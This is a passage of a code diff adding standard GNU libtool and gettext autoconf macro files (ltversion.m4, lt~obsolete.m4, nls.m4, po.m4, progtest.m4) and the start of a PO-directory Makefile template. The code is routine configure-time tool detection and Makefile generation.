+# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +# @configure_input@ + +# serial 4249 ltversion.m4 +# This file is part of GNU Libtool + +m4_define([LT_PACKAGE_VERSION], [2.4.7.4-1ec8f-dirty]) +m4_define([LT_PACKAGE_REVISION], [2.4.7.4]) + +AC_DEFUN([LTVERSION_VERSION], +[macro_version='2.4.7.4-1ec8f-dirty' +macro_revision='2.4.7.4' +_LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?]) +_LT_DECL(, macro_revision, 0) +]) diff --git a/m4/lt~obsolete.m4 b/m4/lt~obsolete.m4 new file mode 100644 index 00000000..0f7a8759 --- /dev/null +++ b/m4/lt~obsolete.m4 @@ -0,0 +1,99 @@ +# lt~obsolete.m4 -- aclocal satisfying obsolete definitions. -*-Autoconf-*- +# +# Copyright (C) 2004-2005, 2007, 2009, 2011-2019, 2021-2022 Free +# Software Foundation, Inc. +# Written by Scott James Remnant, 2004. +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +# serial 5 lt~obsolete.m4 + +# These exist entirely to fool aclocal when bootstrapping libtool. +# +# In the past libtool.m4 has provided macros via AC_DEFUN (or AU_DEFUN), +# which have later been changed to m4_define as they aren't part of the +# exported API, or moved to Autoconf or Automake where they belong. +# +# The trouble is, aclocal is a bit thick. It'll see the old AC_DEFUN +# in /usr/share/aclocal/libtool.m4 and remember it, then when it sees us +# using a macro with the same name in our local m4/libtool.m4 it'll +# pull the old libtool.m4 in (it doesn't see our shiny new m4_define +# and doesn't know about Autoconf macros at all.) +# +# So we provide this file, which has a silly filename so it's always +# included after everything else. This provides aclocal with the +# AC_DEFUNs it wants, but when m4 processes it, it doesn't do anything +# because those macros already exist, or will be overwritten later. +# We use AC_DEFUN over AU_DEFUN for compatibility with aclocal-1.6. +# +# Anytime we withdraw an AC_DEFUN or AU_DEFUN, remember to add it here. +# Yes, that means every name once taken will need to remain here until +# we give up compatibility with versions before 1.7, at which point +# we need to keep only those names which we still refer to. + +# This is to help aclocal find these macros, as it can't see m4_define. +AC_DEFUN([LTOBSOLETE_VERSION], [m4_if([1])]) + +m4_ifndef([AC_LIBTOOL_LINKER_OPTION], [AC_DEFUN([AC_LIBTOOL_LINKER_OPTION])]) +m4_ifndef([AC_PROG_EGREP], [AC_DEFUN([AC_PROG_EGREP])]) +m4_ifndef([_LT_AC_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_AC_PROG_ECHO_BACKSLASH])]) +m4_ifndef([_LT_AC_SHELL_INIT], [AC_DEFUN([_LT_AC_SHELL_INIT])]) +m4_ifndef([_LT_AC_SYS_LIBPATH_AIX], [AC_DEFUN([_LT_AC_SYS_LIBPATH_AIX])]) +m4_ifndef([_LT_PROG_LTMAIN], [AC_DEFUN([_LT_PROG_LTMAIN])]) +m4_ifndef([_LT_AC_TAGVAR], [AC_DEFUN([_LT_AC_TAGVAR])]) +m4_ifndef([AC_LTDL_ENABLE_INSTALL], [AC_DEFUN([AC_LTDL_ENABLE_INSTALL])]) +m4_ifndef([AC_LTDL_PREOPEN], [AC_DEFUN([AC_LTDL_PREOPEN])]) +m4_ifndef([_LT_AC_SYS_COMPILER], [AC_DEFUN([_LT_AC_SYS_COMPILER])]) +m4_ifndef([_LT_AC_LOCK], [AC_DEFUN([_LT_AC_LOCK])]) +m4_ifndef([AC_LIBTOOL_SYS_OLD_ARCHIVE], [AC_DEFUN([AC_LIBTOOL_SYS_OLD_ARCHIVE])]) +m4_ifndef([_LT_AC_TRY_DLOPEN_SELF], [AC_DEFUN([_LT_AC_TRY_DLOPEN_SELF])]) +m4_ifndef([AC_LIBTOOL_PROG_CC_C_O], [AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O])]) +m4_ifndef([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], [AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS])]) +m4_ifndef([AC_LIBTOOL_OBJDIR], [AC_DEFUN([AC_LIBTOOL_OBJDIR])]) +m4_ifndef([AC_LTDL_OBJDIR], [AC_DEFUN([AC_LTDL_OBJDIR])]) +m4_ifndef([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], [AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH])]) +m4_ifndef([AC_LIBTOOL_SYS_LIB_STRIP], [AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP])]) +m4_ifndef([AC_PATH_MAGIC], [AC_DEFUN([AC_PATH_MAGIC])]) +m4_ifndef([AC_PROG_LD_GNU], [AC_DEFUN([AC_PROG_LD_GNU])]) +m4_ifndef([AC_PROG_LD_RELOAD_FLAG], [AC_DEFUN([AC_PROG_LD_RELOAD_FLAG])]) +m4_ifndef([AC_DEPLIBS_CHECK_METHOD], [AC_DEFUN([AC_DEPLIBS_CHECK_METHOD])]) +m4_ifndef([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI])]) +m4_ifndef([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE])]) +m4_ifndef([AC_LIBTOOL_PROG_COMPILER_PIC], [AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC])]) +m4_ifndef([AC_LIBTOOL_PROG_LD_SHLIBS], [AC_DEFUN([AC_LIBTOOL_PROG_LD_SHLIBS])]) +m4_ifndef([AC_LIBTOOL_POSTDEP_PREDEP], [AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP])]) +m4_ifndef([LT_AC_PROG_EGREP], [AC_DEFUN([LT_AC_PROG_EGREP])]) +m4_ifndef([LT_AC_PROG_SED], [AC_DEFUN([LT_AC_PROG_SED])]) +m4_ifndef([_LT_CC_BASENAME], [AC_DEFUN([_LT_CC_BASENAME])]) +m4_ifndef([_LT_COMPILER_BOILERPLATE], [AC_DEFUN([_LT_COMPILER_BOILERPLATE])]) +m4_ifndef([_LT_LINKER_BOILERPLATE], [AC_DEFUN([_LT_LINKER_BOILERPLATE])]) +m4_ifndef([_AC_PROG_LIBTOOL], [AC_DEFUN([_AC_PROG_LIBTOOL])]) +m4_ifndef([AC_LIBTOOL_SETUP], [AC_DEFUN([AC_LIBTOOL_SETUP])]) +m4_ifndef([_LT_AC_CHECK_DLFCN], [AC_DEFUN([_LT_AC_CHECK_DLFCN])]) +m4_ifndef([AC_LIBTOOL_SYS_DYNAMIC_LINKER], [AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER])]) +m4_ifndef([_LT_AC_TAGCONFIG], [AC_DEFUN([_LT_AC_TAGCONFIG])]) +m4_ifndef([AC_DISABLE_FAST_INSTALL], [AC_DEFUN([AC_DISABLE_FAST_INSTALL])]) +m4_ifndef([_LT_AC_LANG_CXX], [AC_DEFUN([_LT_AC_LANG_CXX])]) +m4_ifndef([_LT_AC_LANG_F77], [AC_DEFUN([_LT_AC_LANG_F77])]) +m4_ifndef([_LT_AC_LANG_GCJ], [AC_DEFUN([_LT_AC_LANG_GCJ])]) +m4_ifndef([AC_LIBTOOL_LANG_C_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_C_CONFIG])]) +m4_ifndef([_LT_AC_LANG_C_CONFIG], [AC_DEFUN([_LT_AC_LANG_C_CONFIG])]) +m4_ifndef([AC_LIBTOOL_LANG_CXX_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_CXX_CONFIG])]) +m4_ifndef([_LT_AC_LANG_CXX_CONFIG], [AC_DEFUN([_LT_AC_LANG_CXX_CONFIG])]) +m4_ifndef([AC_LIBTOOL_LANG_F77_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_F77_CONFIG])]) +m4_ifndef([_LT_AC_LANG_F77_CONFIG], [AC_DEFUN([_LT_AC_LANG_F77_CONFIG])]) +m4_ifndef([AC_LIBTOOL_LANG_GCJ_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_GCJ_CONFIG])]) +m4_ifndef([_LT_AC_LANG_GCJ_CONFIG], [AC_DEFUN([_LT_AC_LANG_GCJ_CONFIG])]) +m4_ifndef([AC_LIBTOOL_LANG_RC_CONFIG], [AC_DEFUN([AC_LIBTOOL_LANG_RC_CONFIG])]) +m4_ifndef([_LT_AC_LANG_RC_CONFIG], [AC_DEFUN([_LT_AC_LANG_RC_CONFIG])]) +m4_ifndef([AC_LIBTOOL_CONFIG], [AC_DEFUN([AC_LIBTOOL_CONFIG])]) +m4_ifndef([_LT_AC_FILE_LTDLL_C], [AC_DEFUN([_LT_AC_FILE_LTDLL_C])]) +m4_ifndef([_LT_REQUIRED_DARWIN_CHECKS], [AC_DEFUN([_LT_REQUIRED_DARWIN_CHECKS])]) +m4_ifndef([_LT_AC_PROG_CXXCPP], [AC_DEFUN([_LT_AC_PROG_CXXCPP])]) +m4_ifndef([_LT_PREPARE_SED_QUOTE_VARS], [AC_DEFUN([_LT_PREPARE_SED_QUOTE_VARS])]) +m4_ifndef([_LT_PROG_ECHO_BACKSLASH], [AC_DEFUN([_LT_PROG_ECHO_BACKSLASH])]) +m4_ifndef([_LT_PROG_F77], [AC_DEFUN([_LT_PROG_F77])]) +m4_ifndef([_LT_PROG_FC], [AC_DEFUN([_LT_PROG_FC])]) +m4_ifndef([_LT_PROG_CXX], [AC_DEFUN([_LT_PROG_CXX])]) diff --git a/m4/nls.m4 b/m4/nls.m4 new file mode 100644 index 00000000..65724481 --- /dev/null +++ b/m4/nls.m4 @@ -0,0 +1,32 @@ +# nls.m4 serial 6 (gettext-0.20.2) +dnl Copyright (C) 1995-2003, 2005-2006, 2008-2014, 2016, 2019-2023 Free +dnl Software Foundation, Inc. +dnl This file is free software; the Free Software Foundation +dnl gives unlimited permission to copy and/or distribute it, +dnl with or without modifications, as long as this notice is preserved. +dnl +dnl This file can be used in projects which are not available under +dnl the GNU General Public License or the GNU Lesser General Public +dnl License but which still want to provide support for the GNU gettext +dnl functionality. +dnl Please note that the actual code of the GNU gettext library is covered +dnl by the GNU Lesser General Public License, and the rest of the GNU +dnl gettext package is covered by the GNU General Public License. +dnl They are *not* in the public domain. + +dnl Authors: +dnl Ulrich Drepper , 1995-2000. +dnl Bruno Haible , 2000-2003. + +AC_PREREQ([2.50]) + +AC_DEFUN([AM_NLS], +[ + AC_MSG_CHECKING([whether NLS is requested]) + dnl Default is enabled NLS + AC_ARG_ENABLE([nls], + [ --disable-nls do not use Native Language Support], + USE_NLS=$enableval, USE_NLS=yes) + AC_MSG_RESULT([$USE_NLS]) + AC_SUBST([USE_NLS]) +]) diff --git a/m4/po.m4 b/m4/po.m4 new file mode 100644 index 00000000..2f14f8e2 --- /dev/null +++ b/m4/po.m4 @@ -0,0 +1,454 @@ +# po.m4 serial 32 (gettext-0.21.1) +dnl Copyright (C) 1995-2014, 2016, 2018-2022 Free Software Foundation, Inc. +dnl This file is free software; the Free Software Foundation +dnl gives unlimited permission to copy and/or distribute it, +dnl with or without modifications, as long as this notice is preserved. +dnl +dnl This file can be used in projects which are not available under +dnl the GNU General Public License or the GNU Lesser General Public +dnl License but which still want to provide support for the GNU gettext +dnl functionality. +dnl Please note that the actual code of the GNU gettext library is covered +dnl by the GNU Lesser General Public License, and the rest of the GNU +dnl gettext package is covered by the GNU General Public License. +dnl They are *not* in the public domain. + +dnl Authors: +dnl Ulrich Drepper , 1995-2000. +dnl Bruno Haible , 2000-2003. + +AC_PREREQ([2.60]) + +dnl Checks for all prerequisites of the po subdirectory. +AC_DEFUN([AM_PO_SUBDIRS], +[ + AC_REQUIRE([AC_PROG_MAKE_SET])dnl + AC_REQUIRE([AC_PROG_INSTALL])dnl + AC_REQUIRE([AC_PROG_MKDIR_P])dnl + AC_REQUIRE([AC_PROG_SED])dnl + AC_REQUIRE([AM_NLS])dnl + + dnl Release version of the gettext macros. This is used to ensure that + dnl the gettext macros and po/Makefile.in.in are in sync. + AC_SUBST([GETTEXT_MACRO_VERSION], [0.20]) + + dnl Perform the following tests also if --disable-nls has been given, + dnl because they are needed for "make dist" to work. + + dnl Search for GNU msgfmt in the PATH. + dnl The first test excludes Solaris msgfmt and early GNU msgfmt versions. + dnl The second test excludes FreeBSD msgfmt. + AM_PATH_PROG_WITH_TEST(MSGFMT, msgfmt, + [$ac_dir/$ac_word --statistics /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1 && + (if $ac_dir/$ac_word --statistics /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi)], + :) + AC_PATH_PROG([GMSGFMT], [gmsgfmt], [$MSGFMT]) + + dnl Test whether it is GNU msgfmt >= 0.15. +changequote(,)dnl + case `$GMSGFMT --version | sed 1q | sed -e 's,^[^0-9]*,,'` in + '' | 0.[0-9] | 0.[0-9].* | 0.1[0-4] | 0.1[0-4].*) GMSGFMT_015=: ;; + *) GMSGFMT_015=$GMSGFMT ;; + esac +changequote([,])dnl + AC_SUBST([GMSGFMT_015]) + + dnl Search for GNU xgettext 0.12 or newer in the PATH. + dnl The first test excludes Solaris xgettext and early GNU xgettext versions. + dnl The second test excludes FreeBSD xgettext. + AM_PATH_PROG_WITH_TEST(XGETTEXT, xgettext, + [$ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1 && + (if $ac_dir/$ac_word --omit-header --copyright-holder= --msgid-bugs-address= /dev/null 2>&1 >/dev/null | grep usage >/dev/null; then exit 1; else exit 0; fi)], + :) + dnl Remove leftover from FreeBSD xgettext call. + rm -f messages.po + + dnl Test whether it is GNU xgettext >= 0.15. +changequote(,)dnl + case `$XGETTEXT --version | sed 1q | sed -e 's,^[^0-9]*,,'` in + '' | 0.[0-9] | 0.[0-9].* | 0.1[0-4] | 0.1[0-4].*) XGETTEXT_015=: ;; + *) XGETTEXT_015=$XGETTEXT ;; + esac +changequote([,])dnl + AC_SUBST([XGETTEXT_015]) + + dnl Search for GNU msgmerge 0.11 or newer in the PATH. + AM_PATH_PROG_WITH_TEST(MSGMERGE, msgmerge, + [$ac_dir/$ac_word --update -q /dev/null /dev/null >&]AS_MESSAGE_LOG_FD[ 2>&1], :) + + dnl Test whether it is GNU msgmerge >= 0.20. + if LC_ALL=C $MSGMERGE --help | grep ' --for-msgfmt ' >/dev/null; then + MSGMERGE_FOR_MSGFMT_OPTION='--for-msgfmt' + else + dnl Test whether it is GNU msgmerge >= 0.12. + if LC_ALL=C $MSGMERGE --help | grep ' --no-fuzzy-matching ' >/dev/null; then + MSGMERGE_FOR_MSGFMT_OPTION='--no-fuzzy-matching --no-location --quiet' + else + dnl With these old versions, $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) is + dnl slow. But this is not a big problem, as such old gettext versions are + dnl hardly in use any more. + MSGMERGE_FOR_MSGFMT_OPTION='--no-location --quiet' + fi + fi + AC_SUBST([MSGMERGE_FOR_MSGFMT_OPTION]) + + dnl Support for AM_XGETTEXT_OPTION. + test -n "${XGETTEXT_EXTRA_OPTIONS+set}" || XGETTEXT_EXTRA_OPTIONS= + AC_SUBST([XGETTEXT_EXTRA_OPTIONS]) + + AC_CONFIG_COMMANDS([po-directories], [[ + for ac_file in $CONFIG_FILES; do + # Support "outfile[:infile[:infile...]]" + case "$ac_file" in + *:*) ac_file=`echo "$ac_file"|sed 's%:.*%%'` ;; + esac + # PO directories have a Makefile.in generated from Makefile.in.in. + case "$ac_file" in */Makefile.in) + # Adjust a relative srcdir. + ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'` + ac_dir_suffix=/`echo "$ac_dir"|sed 's%^\./%%'` + ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'` + # In autoconf-2.13 it is called $ac_given_srcdir. + # In autoconf-2.50 it is called $srcdir. + test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir" + case "$ac_given_srcdir" in + .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;; + /*) top_srcdir="$ac_given_srcdir" ;; + *) top_srcdir="$ac_dots$ac_given_srcdir" ;; + esac + # Treat a directory as a PO directory if and only if it has a + # POTFILES.in file. This allows packages to have multiple PO + # directories under different names or in different locations. + if test -f "$ac_given_srcdir/$ac_dir/POTFILES.in"; then + rm -f "$ac_dir/POTFILES" + test -n "$as_me" && echo "$as_me: creating $ac_dir/POTFILES" || echo "creating $ac_dir/POTFILES" + gt_tab=`printf '\t'` + cat "$ac_given_srcdir/$ac_dir/POTFILES.in" | sed -e "/^#/d" -e "/^[ ${gt_tab}]*\$/d" -e "s,.*, $top_srcdir/& \\\\," | sed -e "\$s/\(.*\) \\\\/\1/" > "$ac_dir/POTFILES" + POMAKEFILEDEPS="POTFILES.in" + # ALL_LINGUAS, POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES depend + # on $ac_dir but don't depend on user-specified configuration + # parameters. + if test -f "$ac_given_srcdir/$ac_dir/LINGUAS"; then + # The LINGUAS file contains the set of available languages. + if test -n "$OBSOLETE_ALL_LINGUAS"; then + test -n "$as_me" && echo "$as_me: setting ALL_LINGUAS in configure.in is obsolete" || echo "setting ALL_LINGUAS in configure.in is obsolete" + fi + ALL_LINGUAS=`sed -e "/^#/d" -e "s/#.*//" "$ac_given_srcdir/$ac_dir/LINGUAS"` + POMAKEFILEDEPS="$POMAKEFILEDEPS LINGUAS" + else + # The set of available languages was given in configure.in. + ALL_LINGUAS=$OBSOLETE_ALL_LINGUAS + fi + # Compute POFILES + # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).po) + # Compute UPDATEPOFILES + # as $(foreach lang, $(ALL_LINGUAS), $(lang).po-update) + # Compute DUMMYPOFILES + # as $(foreach lang, $(ALL_LINGUAS), $(lang).nop) + # Compute GMOFILES + # as $(foreach lang, $(ALL_LINGUAS), $(srcdir)/$(lang).gmo) + case "$ac_given_srcdir" in + .) srcdirpre= ;; + *) srcdirpre='$(srcdir)/' ;; + esac + POFILES= + UPDATEPOFILES= + DUMMYPOFILES= + GMOFILES= + for lang in $ALL_LINGUAS; do + POFILES="$POFILES $srcdirpre$lang.po" + UPDATEPOFILES="$UPDATEPOFILES $lang.po-update" + DUMMYPOFILES="$DUMMYPOFILES $lang.nop" + GMOFILES="$GMOFILES $srcdirpre$lang.gmo" + done + # CATALOGS depends on both $ac_dir and the user's LINGUAS + # environment variable. + INST_LINGUAS= + if test -n "$ALL_LINGUAS"; then + for presentlang in $ALL_LINGUAS; do + useit=no + if test "%UNSET%" != "$LINGUAS"; then + desiredlanguages="$LINGUAS" + else + desiredlanguages="$ALL_LINGUAS" + fi + for desiredlang in $desiredlanguages; do + # Use the presentlang catalog if desiredlang is + # a. equal to presentlang, or + # b. a variant of presentlang (because in this case, + # presentlang can be used as a fallback for messages + # which are not translated in the desiredlang catalog). + case "$desiredlang" in + "$presentlang" | "$presentlang"_* | "$presentlang".* | "$presentlang"@*) + useit=yes + ;; + esac + done + if test $useit = yes; then + INST_LINGUAS="$INST_LINGUAS $presentlang" + fi + done + fi + CATALOGS= + if test -n "$INST_LINGUAS"; then + for lang in $INST_LINGUAS; do + CATALOGS="$CATALOGS $lang.gmo" + done + fi + test -n "$as_me" && echo "$as_me: creating $ac_dir/Makefile" || echo "creating $ac_dir/Makefile" + sed -e "/^POTFILES =/r $ac_dir/POTFILES" -e "/^# Makevars/r $ac_given_srcdir/$ac_dir/Makevars" -e "s|@POFILES@|$POFILES|g" -e "s|@UPDATEPOFILES@|$UPDATEPOFILES|g" -e "s|@DUMMYPOFILES@|$DUMMYPOFILES|g" -e "s|@GMOFILES@|$GMOFILES|g" -e "s|@CATALOGS@|$CATALOGS|g" -e "s|@POMAKEFILEDEPS@|$POMAKEFILEDEPS|g" "$ac_dir/Makefile.in" > "$ac_dir/Makefile" + for f in "$ac_given_srcdir/$ac_dir"/Rules-*; do + if test -f "$f"; then + case "$f" in + *.orig | *.bak | *~) ;; + *) cat "$f" >> "$ac_dir/Makefile" ;; + esac + fi + done + fi + ;; + esac + done]], + [# Capture the value of obsolete ALL_LINGUAS because we need it to compute + # POFILES, UPDATEPOFILES, DUMMYPOFILES, GMOFILES, CATALOGS. + OBSOLETE_ALL_LINGUAS="$ALL_LINGUAS" + # Capture the value of LINGUAS because we need it to compute CATALOGS. + LINGUAS="${LINGUAS-%UNSET%}" + ]) +]) + +dnl Postprocesses a Makefile in a directory containing PO files. +AC_DEFUN([AM_POSTPROCESS_PO_MAKEFILE], +[ + # When this code is run, in config.status, two variables have already been + # set: + # - OBSOLETE_ALL_LINGUAS is the value of LINGUAS set in configure.in, + # - LINGUAS is the value of the environment variable LINGUAS at configure + # time. + +changequote(,)dnl + # Adjust a relative srcdir. + ac_dir=`echo "$ac_file"|sed 's%/[^/][^/]*$%%'` + ac_dir_suffix=/`echo "$ac_dir"|sed 's%^\./%%'` + ac_dots=`echo "$ac_dir_suffix"|sed 's%/[^/]*%../%g'` + # In autoconf-2.13 it is called $ac_given_srcdir. + # In autoconf-2.50 it is called $srcdir. + test -n "$ac_given_srcdir" || ac_given_srcdir="$srcdir" + case "$ac_given_srcdir" in + .) top_srcdir=`echo $ac_dots|sed 's%/$%%'` ;; + /*) top_srcdir="$ac_given_srcdir" ;; + *) top_srcdir="$ac_dots$ac_given_srcdir" ;; + esac + + # Find a way to echo strings without interpreting backslash. + if test "X`(echo '\t') 2>/dev/null`" = 'X\t'; then + gt_echo='echo' + else + if test "X`(printf '%s\n' '\t') 2>/dev/null`" = 'X\t'; then + gt_echo='printf %s\n' + else + echo_func () { + cat < "$ac_file.tmp" + tab=`printf '\t'` + if grep -l '@TCLCATALOGS@' "$ac_file" > /dev/null; then + # Add dependencies that cannot be formulated as a simple suffix rule. + for lang in $ALL_LINGUAS; do + frobbedlang=`echo $lang | sed -e 's/\..*$//' -e 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'` + cat >> "$ac_file.tmp" < /dev/null; then + # Add dependencies that cannot be formulated as a simple suffix rule. + for lang in $ALL_LINGUAS; do + frobbedlang=`echo $lang | sed -e 's/_/-/g' -e 's/^sr-CS/sr-SP/' -e 's/@latin$/-Latn/' -e 's/@cyrillic$/-Cyrl/' -e 's/^sr-SP$/sr-SP-Latn/' -e 's/^uz-UZ$/uz-UZ-Latn/'` + cat >> "$ac_file.tmp" <> "$ac_file.tmp" <, 1996. + +AC_PREREQ([2.53]) + +# Search path for a program which passes the given test. + +dnl AM_PATH_PROG_WITH_TEST(VARIABLE, PROG-TO-CHECK-FOR, +dnl TEST-PERFORMED-ON-FOUND_PROGRAM [, VALUE-IF-NOT-FOUND [, PATH]]) +AC_DEFUN([AM_PATH_PROG_WITH_TEST], +[ +# Prepare PATH_SEPARATOR. +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + # Determine PATH_SEPARATOR by trying to find /bin/sh in a PATH which + # contains only /bin. Note that ksh looks also at the FPATH variable, + # so we have to set that as well for the test. + PATH_SEPARATOR=: + (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + || PATH_SEPARATOR=';' + } +fi + +# Find out how to test for executable files. Don't use a zero-byte file, +# as systems may use methods other than mode bits to determine executability. +cat >conf$$.file <<_ASEOF +#! /bin/sh +exit 0 +_ASEOF +chmod +x conf$$.file +if test -x conf$$.file >/dev/null 2>&1; then + ac_executable_p="test -x" +else + ac_executable_p="test -f" +fi +rm -f conf$$.file + +# Extract the first word of "$2", so it can be a program name with args. +set dummy $2; ac_word=[$]2 +AC_MSG_CHECKING([for $ac_word]) +AC_CACHE_VAL([ac_cv_path_$1], +[case "[$]$1" in + [[\\/]]* | ?:[[\\/]]*) + ac_cv_path_$1="[$]$1" # Let the user override the test with a path. + ;; + *) + ac_save_IFS="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in m4_if([$5], , $PATH, [$5]); do + IFS="$ac_save_IFS" + test -z "$ac_dir" && ac_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $ac_executable_p "$ac_dir/$ac_word$ac_exec_ext"; then + echo "$as_me: trying $ac_dir/$ac_word..." >&AS_MESSAGE_LOG_FD + if [$3]; then + ac_cv_path_$1="$ac_dir/$ac_word$ac_exec_ext" + break 2 + fi + fi + done + done + IFS="$ac_save_IFS" +dnl If no 4th arg is given, leave the cache variable unset, +dnl so AC_PATH_PROGS will keep looking. +m4_if([$4], , , [ test -z "[$]ac_cv_path_$1" && ac_cv_path_$1="$4" +])dnl + ;; +esac])dnl +$1="$ac_cv_path_$1" +if test m4_if([$4], , [-n "[$]$1"], ["[$]$1" != "$4"]); then + AC_MSG_RESULT([$][$1]) +else + AC_MSG_RESULT([no]) +fi +AC_SUBST([$1])dnl +]) diff --git a/po/Makefile.in.in b/po/Makefile.in.in new file mode 100644 index 00000000..2b36b111 --- /dev/null +++ b/po/Makefile.in.in @@ -0,0 +1,514 @@ +# Makefile for PO directory in any package using GNU gettext. +# Copyright (C) 1995-2000 Ulrich Drepper +# Copyright (C) 2000-2023 Free Software Foundation, Inc. +# +# Copying and distribution of this file, with or without modification, +# are permitted in any medium without royalty provided the copyright +# notice and this notice are preserved. This file is offered as-is, +# without any warranty. +# +# Origin: gettext-0.22 +GETTEXT_MACRO_VERSION = 0.20 + +PACKAGE = @PACKAGE@ +VERSION = @VERSION@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ + +SED = @SED@ +SHELL = /bin/sh +@SET_MAKE@ + +srcdir = @srcdir@ +top_srcdir = @top_srcdir@ +VPATH = @srcdir@ + +prefix = @prefix@ +exec_prefix = @exec_prefix@ +datarootdir = @datarootdir@ +datadir = @datadir@ +localedir = @localedir@ +gettextsrcdir = $(datadir)/gettext/po + +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ + +# We use $(mkdir_p). +# In automake <= 1.9.x, $(mkdir_p) is defined either as "mkdir -p --" or as +# "$(mkinstalldirs)" or as "$(install_sh) -d". For these automake versions, +# @install_sh@ does not start with $(SHELL), so we add it. +# In automake >= 1.10, @mkdir_p@ is derived from ${MKDIR_P}, which is defined +# either as "/path/to/mkdir -p" or ".../install-sh -c -d". For these automake +# versions, $(mkinstalldirs) and $(install_sh) are unused. +mkinstalldirs = $(SHELL) @install_sh@ -d +install_sh = $(SHELL) @install_sh@ +MKDIR_P = @MKDIR_P@ +mkdir_p = @mkdir_p@ + +# When building gettext-tools, we prefer to use the built programs +# rather than installed programs. However, we can't do that when we +# are cross compiling. +CROSS_COMPILING = @CROSS_COMPILING@ + +GMSGFMT_ = @GMSGFMT@ +GMSGFMT_no = @GMSGFMT@ +GMSGFMT_yes = @GMSGFMT_015@ +GMSGFMT = $(GMSGFMT_$(USE_MSGCTXT)) +XGETTEXT_ = @XGETTEXT@ +XGETTEXT_no = @XGETTEXT@ +XGETTEXT_yes = @XGETTEXT_015@ +XGETTEXT = $(XGETTEXT_$(USE_MSGCTXT)) +MSGMERGE = @MSGMERGE@ +MSGMERGE_UPDATE = @MSGMERGE@ --update +MSGMERGE_FOR_MSGFMT_OPTION = @MSGMERGE_FOR_MSGFMT_OPTION@ +MSGINIT = msginit +MSGCONV = msgconv +MSGFILTER = msgfilter + +POFILES = @POFILES@ +GMOFILES = @GMOFILES@ +UPDATEPOFILES = @UPDATEPOFILES@ +DUMMYPOFILES = @DUMMYPOFILES@ +DISTFILES.common = Makefile.in.in remove-potcdate.sin \ +$(DISTFILES.common.extra1) $(DISTFILES.common.extra2) $(DISTFILES.common.extra3) +DISTFILES = $(DISTFILES.common) Makevars POTFILES.in \ +$(POFILES) $(GMOFILES) \ +$(DISTFILES.extra1) $(DISTFILES.extra2) $(DISTFILES.extra3) + +POTFILES = \ + +CATALOGS = @CATALOGS@ + +POFILESDEPS_ = $(srcdir)/$(DOMAIN).pot +POFILESDEPS_yes = $(POFILESDEPS_) +POFILESDEPS_no = +POFILESDEPS = $(POFILESDEPS_$(PO_DEPENDS_ON_POT)) + +DISTFILESDEPS_ = update-po +DISTFILESDEPS_yes = $(DISTFILESDEPS_) +DISTFILESDEPS_no = +DISTFILESDEPS = $(DISTFILESDEPS_$(DIST_DEPENDS_ON_UPDATE_PO)) + +# Makevars gets inserted here. (Don't remove this line!) + +all: all-@USE_NLS@ + + +.SUFFIXES: +.SUFFIXES: .po .gmo .sed .sin .nop .po-create .po-update + +# The .pot file, stamp-po, .po files, and .gmo files appear in release tarballs. +# The GNU Coding Standards say in +# : +# "GNU distributions usually contain some files which are not source files +# ... . Since these files normally appear in the source directory, they +# should always appear in the source directory, not in the build directory. +# So Makefile rules to update them should put the updated files in the +# source directory." +# Therefore we put these files in the source directory, not the build directory. + +# During .po -> .gmo conversion, take into account the most recent changes to +# the .pot file. This eliminates the need to update the .po files when the +# .pot file has changed, which would be troublesome if the .po files are put +# under version control. +$(GMOFILES): $(srcdir)/$(DOMAIN).pot +.po.gmo: + @lang=`echo $* | sed -e 's,.*/,,'`; \ + test "$(srcdir)" = . && cdcmd="" || cdcmd="cd $(srcdir) && "; \ + echo "$${cdcmd}rm -f $${lang}.gmo && $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) -o $${lang}.1po $${lang}.po $(DOMAIN).pot && $(GMSGFMT) -c --statistics --verbose -o $${lang}.gmo $${lang}.1po && rm -f $${lang}.1po"; \ + cd $(srcdir) && \ + rm -f $${lang}.gmo && \ + $(MSGMERGE) $(MSGMERGE_FOR_MSGFMT_OPTION) -o $${lang}.1po $${lang}.po $(DOMAIN).pot 